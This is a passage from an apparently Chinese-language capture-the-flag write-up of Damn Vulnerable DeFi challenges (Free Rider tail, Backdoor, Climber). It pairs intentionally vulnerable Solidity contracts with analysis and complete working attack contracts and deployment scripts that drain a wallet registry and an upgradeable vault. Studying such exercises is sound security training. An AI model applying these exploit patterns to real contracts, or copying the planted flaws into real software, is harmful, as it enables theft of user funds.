uint256 bala = WETH(weth).balanceOf(address(this));
WETH(weth).withdraw(bala);
FreeRiderNFTMarketplace(market).buyMany{value: 15 ether}(tokenIds);
for(uint a=0; a<6; a++)
{
bytes memory _data = abi.encode(player);
DamnValuableNFT(nft).safeTransferFrom(address(this),address(recovery),a,_data);
}
WETH(weth).deposit{value: 20 ether}();
uint256 bala2 =WETH(weth).balanceOf(address(this));
WETH(weth).transfer(pair,bala2);
payable(player).transfer(address(this).balance);
}

function onERC721Received(address, address, uint256 _tokenId, bytes memory _data)
external
override
returns (bytes4)
{
return IERC721Receiver.onERC721Received.selector;
}

receive () external payable {}
}
js
1
2
const attack = await (await ethers.getContractFactory("FreeRiderNFTMarketplaceAttack",player)).deploy(nft.address,marketplace.address,uniswapPair.address,devsContract.address,weth.address,player.address);
await attack.connect(player).Loan(NFT_PRICE);

Challenge #11 - Backdoor

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

Code

WalletRegistry.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solady/src/auth/Ownable.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
* When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant EXPECTED_OWNERS_COUNT = 1;
uint256 private constant EXPECTED_THRESHOLD = 1;
uint256 private constant PAYMENT_AMOUNT = 10 ether;

address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;

mapping(address => bool) public beneficiaries;

// owner => wallet
mapping(address => address) public wallets;

error NotEnoughFunds();
error CallerNotFactory();
error FakeMasterCopy();
error InvalidInitialization();
error InvalidThreshold(uint256 threshold);
error InvalidOwnersCount(uint256 count);
error OwnerIsNotABeneficiary();
error InvalidFallbackManager(address fallbackManager);

constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
_initializeOwner(msg.sender);

masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);

for (uint256 i = 0; i < initialBeneficiaries.length;) {
unchecked {
beneficiaries[initialBeneficiaries[i]] = true;
++i;
}
}
}

function addBeneficiary(address beneficiary) external onlyOwner {
beneficiaries[beneficiary] = true;
}

/**
* @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
*/
function proxyCreated(GnosisSafeProxy proxy, address singleton, bytes calldata initializer, uint256)
external
override
{
if (token.balanceOf(address(this)) < PAYMENT_AMOUNT) { // fail early
revert NotEnoughFunds();
}

address payable walletAddress = payable(proxy);

// Ensure correct factory and master copy
if (msg.sender != walletFactory) {
revert CallerNotFactory();
}

if (singleton != masterCopy) {
revert FakeMasterCopy();
}

// Ensure initial calldata was a call to `GnosisSafe::setup`
if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
revert InvalidInitialization();
}

// Ensure wallet initialization is the expected
uint256 threshold = GnosisSafe(walletAddress).getThreshold();
if (threshold != EXPECTED_THRESHOLD) {
revert InvalidThreshold(threshold);
}

address[] memory owners = GnosisSafe(walletAddress).getOwners();
if (owners.length != EXPECTED_OWNERS_COUNT) {
revert InvalidOwnersCount(owners.length);
}

// Ensure the owner is a registered beneficiary
address walletOwner;
unchecked {
walletOwner = owners[0];
}
if (!beneficiaries[walletOwner]) {
revert OwnerIsNotABeneficiary();
}

address fallbackManager = _getFallbackManager(walletAddress);
if (fallbackManager != address(0))
revert InvalidFallbackManager(fallbackManager);

// Remove owner as beneficiary
beneficiaries[walletOwner] = false;

// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;

// Pay tokens to the newly created wallet
SafeTransferLib.safeTransfer(address(token), walletAddress, PAYMENT_AMOUNT);
}

function _getFallbackManager(address payable wallet) private view returns (address) {
return abi.decode(
GnosisSafe(wallet).getStorageAt(
uint256(keccak256("fallback_manager.handler.address")),
0x20
),
(address)
);
}
}

Analysis

这道题是让我们从注册表中拿到所有资金,而只有题目给出的四个注册人在注册并部署钱包成功后才会获得奖金,而我们应该如何获得奖金,可以先看看题目合约的函数。

我们看看proxyCreated()函数,其中要求调用者必须是walletFactory,并且传输的calldata的前四个字节必须是GnosisSafe合约中setup()函数的选择器。这时我们就可以先看看GnosisSafeProxyFactory合约如何去调用这个函数。

我们看到要想用walletFactory去调用proxyCreated()函数就要调用这里的createProxyWithCallback()函数,这时我们可以看到createProxyWithCallback()函数中调用的createProxyWithNonce()函数会调用我们传入的calldata,而由于满足了proxyCreated()这个函数中的条件,我们会调用GnosisSafe合约中的setup()函数,而在这个函数里我们可以看到setupModules()函数,这个函数会利用delegatecall()函数去调用目标地址的函数,由此思路就出来了,我们构造一个calldata,在其中todata的参数位置,放置一个攻击合约的地址,并在其中写一个approve函数,然后在data中调用它,在我们以受益人的身份注册部署钱包获得资金后,我们就可以将其拿走。

而题目要求我们交易次数为1,我们只需要在构造函数中完成所有操作,即可在部署函数的时候完成,这样我们的交易次数就为1,而要在构造函数中执行,我们就不能将授权函数写在一个合约里。

Attack

WalletRegistryAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxy.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "./WalletRegistry.sol";
import "./WalletRegistryAttack2.sol";
import "../DamnValuableToken.sol";

contract WalletRegistryAttack{


address[] users;
WalletRegistry target;
GnosisSafeProxyFactory factory;
GnosisSafe mastercopy;
DamnValuableToken token;

constructor(address _addr1,address _addr2,address _addr3,address _addr4,address _addr5,address _addr6,address payable _addr7,address _addr8,address player){
WalletRegistryAttack2 attack2 = new WalletRegistryAttack2();
users = new address[](4);
users[0] = _addr1;
users[1] = _addr2;
users[2] = _addr3;
users[3] = _addr4;
target = WalletRegistry(_addr5);
factory = GnosisSafeProxyFactory(_addr6);
mastercopy= GnosisSafe(_addr7);
token = DamnValuableToken(_addr8);
for(uint256 i=0;i<4;i++){
address[] memory owner = new address[](1);
owner[0]=users[i];
bytes memory initializer = abi.encodeWithSelector(
mastercopy.setup.selector,
owner,
1,
address(attack2),
abi.encodeWithSelector(attack2.tokenapprove.selector,address(token),address(this)),
address(0),
address(0),
uint256(0),
address(0)
);
GnosisSafeProxy proxy = factory.createProxyWithCallback(address(mastercopy),initializer,1,IProxyCreationCallback(target));
token.transferFrom(address(proxy),player,10 ether);
}
}

}
WalletRegistryAttack2.sol
1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";

contract WalletRegistryAttack2{
function tokenapprove(address _token,address user) public{
DamnValuableToken(_token).approve(user,10 ether);
}
}
js
1
const Attack = await (await ethers.getContractFactory('WalletRegistryAttack', player)).deploy(users[0],users[1],users[2],users[3],walletRegistry.address,walletFactory.address,masterCopy.address,token.address,player.address, {gasLimit: 30000000});

Challenge #12 - Climber

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

To pass this challenge, take all tokens from the vault.

Code

ClimberConstants.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/* ########################## */
/* ### TIMELOCK CONSTANTS ### */
/* ########################## */

// keccak256("ADMIN_ROLE");
bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775;

// keccak256("PROPOSER_ROLE");
bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1;

uint256 constant MAX_TARGETS = 256;
uint256 constant MIN_TARGETS = 0;
uint256 constant MAX_DELAY = 14 days;

/* ####################### */
/* ### VAULT CONSTANTS ### */
/* ####################### */

uint256 constant WITHDRAWAL_LIMIT = 1 ether;
uint256 constant WAITING_PERIOD = 15 days;

ClimberErrors.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

error CallerNotTimelock();
error NewDelayAboveMax();
error NotReadyForExecution(bytes32 operationId);
error InvalidTargetsCount();
error InvalidDataElementsCount();
error InvalidValuesCount();
error OperationAlreadyKnown(bytes32 operationId);
error CallerNotSweeper();
error InvalidWithdrawalAmount();
error InvalidWithdrawalTime();
ClimberTimelock.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "./ClimberTimelockBase.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
import {
InvalidTargetsCount,
InvalidDataElementsCount,
InvalidValuesCount,
OperationAlreadyKnown,
NotReadyForExecution,
CallerNotTimelock,
NewDelayAboveMax
} from "./ClimberErrors.sol";

/**
* @title ClimberTimelock
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberTimelock is ClimberTimelockBase {
using Address for address;

/**
* @notice Initial setup for roles and timelock delay.
* @param admin address of the account that will hold the ADMIN_ROLE role
* @param proposer address of the account that will hold the PROPOSER_ROLE role
*/
constructor(address admin, address proposer) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
_setupRole(ADMIN_ROLE, admin);
_setupRole(ADMIN_ROLE, address(this)); // self administration
_setupRole(PROPOSER_ROLE, proposer);

delay = 1 hours;
}

function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
if (targets.length == MIN_TARGETS || targets.length >= MAX_TARGETS) {
revert InvalidTargetsCount();
}

if (targets.length != values.length) {
revert InvalidValuesCount();
}

if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}

bytes32 id = getOperationId(targets, values, dataElements, salt);

if (getOperationState(id) != OperationState.Unknown) {
revert OperationAlreadyKnown(id);
}

operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}

/**
* Anyone can execute what's been scheduled via `schedule`
*/
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
if (targets.length <= MIN_TARGETS) {
revert InvalidTargetsCount();
}

if (targets.length != values.length) {
revert InvalidValuesCount();
}

if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}

bytes32 id = getOperationId(targets, values, dataElements, salt);

for (uint8 i = 0; i < targets.length;) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}

if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}

operations[id].executed = true;
}

function updateDelay(uint64 newDelay) external {
if (msg.sender != address(this)) {
revert CallerNotTimelock();
}

if (newDelay > MAX_DELAY) {
revert NewDelayAboveMax();
}

delay = newDelay;
}
}

ClimberTimelockBase.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";

/**
* @title ClimberTimelockBase
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
abstract contract ClimberTimelockBase is AccessControl {
// Possible states for an operation in this timelock contract
enum OperationState {
Unknown,
Scheduled,
ReadyForExecution,
Executed
}

// Operation data tracked in this contract
struct Operation {
uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution
bool known; // whether the operation is registered in the timelock
bool executed; // whether the operation has been executed
}

// Operations are tracked by their bytes32 identifier
mapping(bytes32 => Operation) public operations;

uint64 public delay;

function getOperationState(bytes32 id) public view returns (OperationState state) {
Operation memory op = operations[id];

if (op.known) {
if (op.executed) {
state = OperationState.Executed;
} else if (block.timestamp < op.readyAtTimestamp) {
state = OperationState.Scheduled;
} else {
state = OperationState.ReadyForExecution;
}
} else {
state = OperationState.Unknown;
}
}

function getOperationId(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) public pure returns (bytes32) {
return keccak256(abi.encode(targets, values, dataElements, salt));
}

receive() external payable {}
}

ClimberVault.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";

import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";

/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

modifier onlySweeper() {
if (msg.sender != _sweeper) {
revert CallerNotSweeper();
}
_;
}

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}

function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();

// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));

_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}

// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address token, address recipient, uint256 amount) external onlyOwner {
if (amount > WITHDRAWAL_LIMIT) {
revert InvalidWithdrawalAmount();
}

if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
revert InvalidWithdrawalTime();
}

_updateLastWithdrawalTimestamp(block.timestamp);

SafeTransferLib.safeTransfer(token, recipient, amount);
}

// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external onlySweeper {
SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
}

function getSweeper() external view returns (address) {
return _sweeper;
}

function _setSweeper(address newSweeper) private {
_sweeper = newSweeper;
}

function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}

function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
_lastWithdrawalTimestamp = timestamp;
}

// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}

这道题对我来说感觉难度很大,但是看下来就会发现解题的逻辑很简单。

我们先看ClimberVault合约,这里面一个withdraw()函数,但是每15天只能拿走1 ether,而sweepFunds()可以一次性拿走所有代币,但是只有_sweeper才能拿走,但是这是个升级合约,那我们能不能通过升级合约来升级成自己写的合约将所有代币掏空呢,这时我们注意到这段注释Upgrades are to be triggered by the owner.,想要升级合约必须要是合约的所有者,那么这个合约的所有者是谁呢?transferOwnership(address(new ClimberTimelock(admin, proposer)));很显然是ClimberTimelock合约,因此我们将目光放在ClimberTimelock合约上。

我们看到这个合约的时候发现在execute()函数中可以进行call调用,我们可以想办法在这里让它调用transferOwnership()函数来将所有者更改成我们。接下来的目的就是如何去调用这个函数,我们看到这个函数有这段限制getOperationState(id) != OperationState.ReadyForExecution,而要想实现它我们需要调用schedule()这个函数,但这个函数有onlyRole(PROPOSER_ROLE)这个权限限制。那么我们是不是没有办法了呢,并不是,因为在execute()函数中有一个明显的逻辑错误,那就是先调用后验证,那么我们就可以先上车后补票,用execute()来将我们添加到权限,再调用schedule()函数就好了,还需要注意的是在shedule()这个函数中有这段代码operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;来要求延时操作防止我们通过execute()来调用它,不过我们可以通过execute()来调用updateDelay()函数来更新延迟时间,之后就是更改owner,然后升级合约,最后掏空所有代币即可。

Attack

ClimberVaultAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "../DamnValuableToken.sol";
import "./ClimberVault.sol";
import "./ClimberTimelock.sol";

contract ClimberVaultAttack{
ClimberTimelock timelock;
address vaultProxyAddress;
address player;
DamnValuableToken token;


constructor(address payable _timelock,address _vaultProxyAddress,address _player,address _token){
timelock = ClimberTimelock(_timelock);
vaultProxyAddress = _vaultProxyAddress;
token = DamnValuableToken(_token);
player = _player;
}

function attack() public returns (address[] memory, uint256[] memory, bytes[] memory){
address[] memory targets = new address[](4);
uint256[] memory values = new uint256[](4);
bytes[] memory dataElements = new bytes[](4);

targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSelector(
ClimberTimelock.updateDelay.selector,
0
);

targets[1] = address(vaultProxyAddress);
values[1] = 0;
dataElements[1] = abi.encodeWithSelector(
OwnableUpgradeable.transferOwnership.selector,
player
);

targets[2] = address(timelock);
values[2] = 0;
dataElements[2] = abi.encodeWithSelector(
AccessControl.grantRole.selector,
keccak256("PROPOSER_ROLE"),
address(this)
);

targets[3] = address(this);
values[3] = 0;
dataElements[3] = abi.encodeWithSelector(
ClimberVaultAttack.scheduleattack.selector
);

return (targets, values, dataElements);
}

function executeattack() external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = attack();
timelock.execute(targets, values, dataElements, 0);
}


function scheduleattack() external {
(
address[] memory targets,
uint256[] memory values,
bytes[] memory dataElements
) = attack();
timelock.schedule(targets, values, dataElements, 0);
}

}


// once attacker has ownership of ClimberVault, they will upgrade it to
// this version which modifies sweepFunds() to allow owner to drain tokens
contract ClimberVaultAttackUpgrade is Initializable, OwnableUpgradeable, UUPSUpgradeable {
// must preserve storage layout or upgrade will fail
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}

function initialize(address, address, address) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
}

// changed to allow only owner to drain funds
function withdraw(address token) external {
SafeTransferLib.safeTransfer(token, msg.sender, IERC20(token).balanceOf(address(this)));
}

// prevent anyone but attacker from further upgrades
function _authorizeUpgrade(address) internal override onlyOwner {}
}

js
1
2
3
4
5
6
7
const Attack = await (await ethers.getContractFactory('ClimberVaultAttack' , player)).deploy(timelock.address,vault.address,player.address,token.address);
await Attack.connect(player).executeattack();

upgradedClimberVault = await upgrades.upgradeProxy(
vault.address,
await ethers.getContractFactory("ClimberVaultAttackUpgrade", player));
await upgradedClimberVault.connect(player).withdraw(token.address);